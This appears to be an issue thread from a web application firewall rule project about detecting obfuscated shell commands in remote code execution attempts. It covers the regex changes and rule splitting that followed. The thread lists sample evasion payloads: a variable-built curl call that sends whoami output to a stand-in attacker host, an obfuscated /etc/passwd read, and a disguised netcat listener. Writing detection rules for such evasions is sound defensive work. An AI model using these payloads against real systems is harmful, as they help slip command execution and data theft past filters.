Shell aliasing and other techniques for RCE

[fzipi]

Description

Per reports EBIDJ91T, IXMZUXBG, K7LMFJXP, MKXQCJMX, S9ZC1HN6 and YIYFWRSY we need to be able to check different types of shell aliasing and other techniques to find RCE attempts.

Here are the examples we need to cover:

• using variables 1: a=curl&&b=whoami&&$a http://attacker.net/$b
• using variables 2: a=/etc&&b=/passwd&&c=cat&&$c $a$b
• globbing 1: {n$u\c$u,-nlvp,777}
• globbing 2: garb=cur[l];$garb+google.com
• vars + spacing: v='u';cu$v\r\l google.com
• non-existing vars: cu$@rl

This might need a new rule encompassing all these, or we can complement existing ones.

[dune73]

Oh my, that's a shitload of crazy evasions.

Did you look into the possibilities to expand 932200 (PL2)?

[fzipi]

I didn't. But thanks to your tip we might encourage one of our great devs to take a look!

[dune73]

Hope somebody wants to grind their teeth into this. The last 1-2 years I got the feeling that we are weaker on RCE than we previously assumed. So there is some room to improve here. Maybe by taking 932200 apart, combining with these new evasions and then decide which ones should be caught by PL1 and which ones by PL2 etc. Stricter siblings and such.

[fzipi]

Per discussion with @theseion, this is probably going to be covered by extending the cmdLine processor in regexp-assemble to include the variable usage $.

[dune73]

This is also meant to cover BBBZARPI.

[theseion]

Not that the new rule 932220 does not cover this case. Add a test case that checks pipe use, e.g., whxmi|s$@h. See #2892.

[fzipi]

For future CRS developers

After thinking of a solution that involved changing the cmdLine processor to get additional coverage for evasions, we ended up with [\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?.

This covers the cases below, so we are good:

But.

Yes, there is always one, right? After applying the change, we ended up with rule 932100 being about 32K of text :/

So we started thinking about this with @theseion, and we came up with the following approach: let's split the word lists in the length, and be less precise with the matches with more chars, and, instead, try to detect evasion attempts generically. The initial division we are using is 3 (three) chars. So, for the commands with (2,3) two and three chars we take them from the list as is, and we apply the evasion prevention mentioned above. For more than 3 (4 an up), we use a generic matching using something like [a-z0-9][\x5c'\"\[]*(?:\$[a-z0-9_@?!#{*-]*)?(?:\x5c)?{4,10} (10 here is used as example), so we can describe them using a generic approach.

This will end up in:

• a new rule for 2 and 3 chars and the evasion technique applied.
• a new generic rule for 4 and up chars, up to something reasonable with the evasion added.
• we can keep the lists for commands, but they won't need to have the cmdline applied anymore, if we don't need to.

[fzipi]

Pendings for evasion RCE ruleset

This will impact:

• [x] rules/unix-shell.data
• [x] data/932100.data
• [x] data/932105.data
• [x] data/932106.data (unchanged, small file)
• [x] data/932150.data (unchanged, small file)
• [x] data/932175.data
• [x] data/932220.data

Others

• [x] add new 4 chars and up generic rule
• [x] write tests for the new rules

[theMiddleBlue]

the rule 932240 reference this issue, IDK if it's the right place to send this comment. WordPress (and I guess many other applications) has a lot of FPs because of ARGS_NAMES like foo[babadapupi][aaaooo] that it's quite common. Can we remove ARGS_NAMES from the variable list? it's not even used in ARGS_NAMES on our regression tests @fzipi @theseion @dune73

[fzipi]

We removed ARGS_NAMES from 932240.

[fzipi]

All the techniques mentioned here were addressed.

The changes made for supporting this made me think about taking a second look at the whole techniques we are covering. Creating a follow-up issue.